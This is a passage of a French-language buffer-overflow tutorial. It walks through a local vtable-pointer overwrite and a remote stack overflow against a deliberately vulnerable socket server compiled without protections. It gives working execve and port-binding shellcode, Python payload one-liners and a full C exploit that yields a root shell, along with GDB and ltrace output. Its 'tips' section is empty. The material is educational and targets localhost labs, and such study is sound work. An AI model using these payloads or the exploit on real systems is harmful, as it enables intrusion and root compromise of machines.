     0xffffd220:0x41414141	0x41414141	0x41414141	0x41414141
     0xffffd230:0x41414141	0x41414141	0x00414141	0x0804a008
     0xffffd240:0xffffd4bd	0xf7e5d000	0xffffd268	0x080488ad

Parfait, nous voyons grâce au dernier A (en 0xffffd23a) qu'avec 5 bytes supplémentaires, nous écrasons proprement le pointeur (en 0xffffd23c)!
Grâce au code nous voyons que %eax est manipulé 2 fois, en prenant comme nouvelle valeur celle se trouvant à l'adresse qu'il pointe.
Pour construire notre payload, nous aurons donc :

adresse du byte suivant
adresse du shellcode
AAA … A
adresse du début de la payload

Commençons donc par le shellcode (http://insecure.org/stf/smashstack.html):

$ export PAYLOAD=`python -c "print '\x90' * 200 + '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh'"`

Ensuite, avec GDB, cherchons son adresse en tâtonnant un peu, pour trouver :

(gdb) x/s *((char **)environ+37)+8
     0xffffde80:	'\220' <repeats 200 times>...

A présent, nous avons tout ce qu'il nous faut pour construire la payload. Puisque le buffer commence à l'adresse 0xffffd21c d'après la sortie de la commande (gdb) x/20x $esp lancée précédemment (4ème bloc en partant de la gauche à la deuxième ligne), nous avons:

0xffffd220 (= 0xffffd21c + 4) +
0xffffde80 +
24 * 'A' (=32 – 2 * adresses) +
0xffffd21c

Testons cela avec GDB :

$ gdb ./vptrShellcodeGNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
     … 
(gdb) run 1 < <(python -c "print '\x20\xd2\xff\xff' + '\x80\xde\xff\xff' + 'A' * 24 + '\x1c\xd2\xff\xff'")
     Starting program: /home/enzo/Documents/art/stack_BOF/vptrShellcode 1 < <(python -c "print '\x20\xd2\xff\xff' + '\x80\xde\xff\xff' + 'A' * 24 + '\x1c\xd2\xff\xff'")
     process 3836 is executing new program: /bin/dash
     [Inferior 1 (process 3836) exited normally

Nous voyons qu'une shell a été ouverte ! Relançons donc sans GDB :

$ cat <(python -c "print '\x20\xd2\xff\xff' + '\x80\xde\xff\xff' + 'A' * 24 + '\x1c\xd2\xff\xff'") - |./vptrShellcode 1
whoami
     Erreur de segmentation

Et oui, ça ne fonctionne pas !
Nous allons donc nous servir de l'outil ltrace pour obtenir des indices supplémentaires sur ce problème :

$ python -c "print '\x20\xd2\xff\xff' + '\x80\xde\xff\xff' + 'A' * 24 + '\x1c\xd2\xff\xff'" > args.txt
$ ltrace ./vptrShellcode 1 < args.txt
     __libc_start_main(0x804884b, 2, 0xffffd364, 0x8048ab0 <unfinished ...>
     _ZNSt8ios_base4InitC1Ev(0x804928d, 0, 0, 0xf7ce5243) = 0xf7fb5454
     __cxa_atexit(0x80486e0, 0x804928d, 0x8049158, 0xf7ce5243) = 0
     atoi(0xffffd4ef, 0xffffd364, 0xffffd370, 0xf7ce53fd) = 1
     _Znwj(4, 0, 10, 0)                           = 0x804a008
     gets(0xffffd26c, 0, 10, 0)                   = 0xffffd26c
     --- SIGSEGV (Segmentation fault) ---
     +++ killed by SIGSEGV +++

Nous voyons que juste avant de provoquer une erreur de segmentation, gets utilise l'adresse 0xffffd26c, alors que GDB plaçait notre buffer en 0xffffd21c. Nous déduisons donc qu'il y a un offset de 0x50 au niveau des adresses.
Essayons d'appliquer cet offset aux 2 adresses de la payload (celle du shellcode n'a pas d'importance).
Nous avions :

0xffffd220 (= 0xffffd21c + 4) +
0xffffde80 +
24 * 'A' (=32 – 2 * adresses) +
0xffffd21c

Ce qui donne donc avec un décalage de 0x50 :

0xffffd270 +
0xffffde80 +
24 * 'A' +
0xffffd26c

Retentons :

$ cat <(python -c "print '\x70\xd2\xff\xff' + '\x80\xde\xff\xff' + 'A' * 24 + '\x6c\xd2\xff\xff'") - |./vptrShellcode 1
whoami
     root

We did it !

7. Remote buffer overflows

(ASLR désactivé)
Dans cette section, nous allons aborder l'exploitation à distance des buffer overflows. En effet, apprendre à exploiter un programme localement peut être très utile, mais l'attaque à distance a sûrement plus de chances d'arriver dans une situation réelle. Le principe de base n'est pas très différent de celui d'une exploitation en local à deux choses près : d'une part nous allons utiliser des sockets pour communiquer avec le serveur, et d'autre part nous n'avons pas d'accès physique à la machine, ce qui fait que nous n'allons pas appeler system(”/bin/sh”) de la même manière que nous le faisions jusqu'ici.

Socket (Wiki):
Il s’agit d’une interface logicielle avec les services du système d’exploitation, grâce à laquelle un développeur exploitera facilement et de manière uniforme les services d’un protocole réseau. Comme nous sommes ici en C, tout ce dont nous aurons besoin de situe dans netinet/in.h.

7.1 Introduction aux remote BOF

Cette première démonstration va être très simple car nous allons simplement nous contenter d'imprimer un message de validation. Pour effectuer l'attaque, nous allons lancer dans une première shell le programme server, dont le code est donné ci dessous (le port choisi est 42742, et n'est évidemment pas une obligation) :

server.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
 
#define BUFFER_SIZE 256
#define MESSAGE_SIZE 141
 
/** gcc -m32 -o server server.c -fno-stack-protector**/
 
typedef struct sockaddr SOCKADDR;
typedef struct sockaddr_in SOCKADDR_IN;
 
void run(int);
 
int main(int argc, char **argv){
	SOCKADDR_IN server, client;
	int socket_res, size_sockaddrin, accept_res, recv_res;
 
	socket_res = socket(AF_INET, SOCK_STREAM, 0);
	if(socket_res < 0){
		printf("Error: unable to create the socket\n");
	}
 
	server.sin_family = AF_INET;
	server.sin_addr.s_addr = INADDR_ANY;
	server.sin_port = htons(42742);
 
	if(bind(socket_res, (SOCKADDR *)&server, sizeof server) < 0){
		printf("Error: unable to bind\n");
	}
 
	listen(socket_res, 5);
	printf(" ====================== Listening ...  ======================\n");
	size_sockaddrin = sizeof(SOCKADDR_IN);
	accept_res = accept(socket_res,  (SOCKADDR *)&client, (socklen_t *)&size_sockaddrin);
	if(accept_res < 0){
		printf("Error: unable to accept incoming connection\n");
	}
 
	printf(" ====================== Connected ... ======================\n");
	run(accept_res);
	return 0;
}
 
void run(int accept_res){
	char tweet[MESSAGE_SIZE];
	char buffer[BUFFER_SIZE];
	int data = recv(accept_res, buffer, BUFFER_SIZE, 0);
	if(data > 0){
		buffer[data-1] = '\0';
		strcpy(tweet, buffer);
		printf("Your tweet: %s\n", tweet);
	}
	else if(data == -1){
		printf("Error: unable to receive\n");
	}
	close(accept_res);
}
 
void printOK(){
        printf("OK\n");
}

Ce programme tout simple va écouter sur le port 42742 en attendant la connexion d'un client. Si un client se connecte et envoie une string, le programme va simplement la lui imprimer et clore la connexion. Nous ferons tourner le programme sur localhost, et parallèlement, nous jouerons le rôle de l'attaquant dans une seconde shell, côté client.
Ici, la faille est assez évidente : la fonction strcpy dans run va copier le contenu d'un buffer dont la capacité est de 256 bytes vers un buffer de 141 bytes. Ce buffer plus petit va donc déborder et nous allons pouvoir écraser l'adresse de retour de la fonction et rediriger le programme vers la fonction voulue (printOK).

Premièrement, il faut déterminer l'adresse de retour et la taille de la string junk, alors pour cela, lançons GDB dans la shell serveur :

(gdb) print printOK
	$1 = {<text variable, no debug info>} 0x8048741 <printOK>

Ensuite, trouvons la taille de la string junk en observant le code de run où se situe la fonction vulnérable :

(gdb) disas run
Dump of assembler code for function run:
   … 
   0x080486fa <+60>:	lea    -0x199(%ebp),%eax
   0x08048700 <+66>:	push   %eax
   0x08048701 <+67>:	lea    -0x99(%ebp),%eax
   …  
End of assembler dump.

Aux lignes <+60> et <+67> nous voyons que les paramètres de la fonction strcpy sont situés à 256 bytes (0x199 – 0x99 = 0x100 = 256) l'un de l'autre. Le premier est à %ebp -0x99, c'est-à-dire situé à 153 bytes de %ebp.
Ainsi, la payload se construit avec :

153 bytes de junk +
4 bytes de junk pour écraser le pointeur de base +
adresse de retour (0x8048741)

Pour finir, dans la shell serveur lançons server sans debugger :

$ ./server
	 ====================== Listening ...  ======================

Puis dans la shell client, comme lors d'une exploitation locale, plaçons la payload dans le stdin avec cat, et utilisons un pipe pour l'envoyer via telnet:

$ cat <(python -c "print 'A' * 157 +'\x41\x87\x04\x08'") | telnet 127.0.0.1 42742
	Trying 127.0.0.1...
	Connected to 127.0.0.1.
	Escape character is '^]'.
	Connection closed by foreign host

La connexion a été fermée, alors revenons dans la shell serveur pour observer ce qu'il s'est passé. On a maintenant :

	… 
	====================== Connected ... ======================
	Your tweet: 	AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS�#
	OK
	Erreur de segmentation

Le message OK a bien été imprimé, nous sommes donc capables de contrôler le haut de la pile !

7.2 Obtenir une shell

Corrompre des données, c'est bien, obtenir une shell en root c'est mieux !
Pour cela, nous allons injecter dans notre payload un shellcode permettant d'obtenir cette shell. Toutefois, le shellcode utilisé pour une exploitation à distance ne peut pas être le même que lors d'une attaque en local. En effet, la shell ne serait pas utilisable car nous perdrions ses file descriptors. Pour pallier à ce problème, nous allons utiliser un shellcode qui va attacher une shell sur un port auquel nous nous connecterons ensuite, ainsi nous pourrons avoir une shell interactive (port binding shell).

Pour le serveur, le code ne change presque pas, si ce n'est que nous n'avons plus besoin de la fonction printOK que l'on peut alors enlever. En revanche, le programme doit être recompilé de la manière sivante sinon le shellcode ne pourrait pas être exécuté :

# gcc -m32 -o server server.c -fno-stack-protector -z execstack

et le bit suid a été activé :

# chmod +s server

Pour l'exploit, nous allons cette fois ci l'écrire en C au lieu de simplement le taper en ligne de commande. Le programme se contentera d'ouvrir une connexion et d'envoyer la payload.
Nous savons déjà grâce à l'exploit précédent qu'il faut 157 bytes avant d'écraser l'adresse de retour, sauf que cette fois-ci nous n'allons pas mettre n'importe quoi avant cette adresse. Comme nous utilisons un shellcode il est préférable de placer une NOP sled devant afin d'éviter les problèmes de décalages d'adresses.

Pour la payload, nous avons donc logiquement :

NOP sled +
shellcode +
adresse de retour

Le shellcode que nous allons utiliser est celui attribué à Bighawk (78 bytes) permettant de binder une shell sur le port 26112  :

\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\x52\x50\xcd\x80\x43\x66\x53\x89\xe1\x6a\x10\x51\x50
\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89\xd9\x93\xb0\x3f
\xcd\x80\x49\x79\xf9\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80

En sachant que la NOP sled et le shellcode doivent être contenus dans 157 bytes, nous avons donc une NOP sled de 157 – 78 = 79 bytes, ce qui est assez confortable.

Pour déterminer l'adresse de retour, nous allons devoir déterminer où commence le buffer, alors lançons GDB et plaçons un breakpoint juste après strcpy (dans la shell serveur) :

$ gdb ./server
	… 
(gdb) disas run
	Dump of assembler code for function run:
   	  … 
   	  0x080486fa <+74>:	call   0x8048420 <strcpy@plt>
   	  0x080486ff <+79>:	add    $0x10,%esp
  	  …
	End of assembler dump.
(gdb) break *0x080486ff
	Breakpoint 1 at 0x80486ff
(gdb) run
	Starting program: /home/enzo/Documents/BOF/stack_BOF/server 
	====================== Listening ...  ======================

Puis dans la shell client envoyons un message inoffensif :

$ cat <(python -c "print 'A' * 16")|telnet 127.0.0.1 42742
	Trying 127.0.0.1...
	Connected to 127.0.0.1.
	Escape character is '^]'.
	Connection closed by foreign host.

Ensuite, allons regarder dans la shell serveur où se situe le buffer. GDB doit normalement être au niveau du breakpoint :

(gdb) x/24x $esp
	0xffffd1d0:0xffffd2ef	0xffffd1ef	0x00000100	0x00000000
	0xffffd1e0:0xf15ae9b5	0x078ad74d	0xf7e0dec8	0x41ff8280
	0xffffd1f0:0x41414141	0x41414141	0x41414141	0x0d414141
	0xffffd200:0x00000000	0x00000010	0x00000001	0xf7fb3000
	0xffffd210:0x00000000	0x00000000	0x00000001	0x00000790
	0xffffd220:0xf7fd9b58	0xf7fd9860	0x080482dd	0xf7e17438

Nous voyons que le début du buffer avec les 41 est aux alentours de 0xffffd1f0. Comme la NOP sled a une taille de 79 bytes, ajoutons environ 40 pour obtenir une adresse de retour satisfaisante. Pour l'exemple, nous prendrons 0xffffd250.

Ainsi, notre exploit en C commence ainsi :

exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
 
#define OFFSET 157
#define SHELLCODE_SIZE 78
typedef struct sockaddr_in SOCKADDR_IN;
typedef struct sockaddr SOCKADDR;
 
const char shellcode[] = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\x52\x50\xcd\x80\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80\x50\xd2\xff\xff";
 
int main(int argc, char **argv){}

Nous déclarons donc quelques constantes, puis nous ajoutons le shellcode en le concaténant avec l'adresse de retour.
Ensuite, dans la méthode main, nous allons commencer par déclarer les variables locales et ajouter la NOP sled au début de la payload :

exploit.c
char payload[OFFSET + 5]; //+4 pour l'adresse + null byte
int socket_res, send_res; //retours des fonctions socket et send
SOCKADDR_IN server;
 
memset(payload, 0x90, OFFSET-SHELLCODE_SIZE);
memcpy(payload + OFFSET-SHELLCODE_SIZE, shellcode, strlen(shellcode));

La méthode memset nous permet de placer OFFSET – SHELLCODE_SIZE = 157 – 78 = 79 caractères \x90 au début de la payload. Puis, memcpy nous permet de placer le shellcode à la fin de la NOP sled. Ces deux méthodes sont similaires : la première nous permet de copier le même caractère plusieurs fois alors que la seconde copie une string.
Ensuite, initialisons le socket:

exploit.c
socket_res = socket(AF_INET, SOCK_STREAM, 0);
if(socket_res < 0){
	printf("Can't create socket\n");
	return -1;
}
 
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr("127.0.0.1"); //localhost
server.sin_port = htons(42742); //port sur lequel tourne server

Puisque c'est un exploit, nous n'avons pas fait tous les tests normalement nécessaires lors d'un vrai échange client-serveur. Ne reste ensuite qu'à nous connecter et envoyer la payload :

exploit.c
if (connect(socket_res, (SOCKADDR*)&server, sizeof(server)) < 0){
	printf("Can't connect\n");
	return -2;
}
 
send_res = send(socket_res, payload, strlen(payload), 0);
close(socket_res);
return 0;

L'exploit est à présent terminé, nous pouvons le compiler dans la shell client :

$ gcc -o exploit exploit.c -m32

Ensuite, il ne reste plus qu'à lancer le programme server dans la shell serveur :

$ ./server
 ====================== Listening ...  ======================

Puis à lancer le programme exploit dans la shell client qui va tout faire pour nous :

$ ./exploit

A présent, nous avons dans la shell serveur ceci avec le stdin ouvert :

… 
====================== Connected ... ======================
Your tweet: �������������������������������������������������������������������������������1���SCSj#���fRP̀CfS��j#QP��RP�f̀���#�f̀C�f̀�ٓ�?̀Iy�Rhn/shh//bi��RS���
      P��������

Nous n'avons plus qu'à revenir dans la shell client et à nous connecter sur le port 26112 sur lequel doit être bindée la shell :

$ telnet 127.0.0.1 26112
	Trying 127.0.0.1...
	Connected to 127.0.0.1.
	Escape character is '^]'.
	whoami;
root
: not found:

(Ne pas oublier le point-virgule à la fin des commandes)

Et voila !

8. Monsieur, chez moi ça marche pas !

Si vous testez ces techniques sur d'autres programmes, il est effectivement possible que l'attaque ne marche pas et qu'une erreur de segmentation persiste. Dans ce cas, voici quelques conseils :

9. Ressources

Ressources principales :
Exploitation avancée de buffer overflow : https://lasec.epfl.ch/~oechslin/advbof.pdf
Étude de techniques d'exploitation de vulnérabilités des exécutables sous GNU/Linux IA-32 et de méthodes de protection associées: https://repo.zenk-security.com/Techniques%20d.attaques%20%20.%20%20Failles/Etude%20de%20techniques%20d%20exploitation%20de%20vulnerabilites%20des%20executables%20sous%20GNU.Linux%20IA-32%20et%20de%20methodes%20de%20protection%20associees.pdf
Buffer overflow attack – Computerphile: https://www.youtube.com/watch?v=1S0aBV-Waeo
Return Oriented Programming : https://www.exploit-db.com/docs/28479.pdf
Ret2libc : https://www.exploit-db.com/docs/17131.pdf
Integer overflow : http://phrack.org/issues/60/10.html
limits.h : http://www.scs.stanford.edu/histar/src/pkg/uclibc/include/limits.h
C++ vtables : http://phrack.org/issues/56/8.html
Port binding shell :https://www.exploit-db.com/papers/143/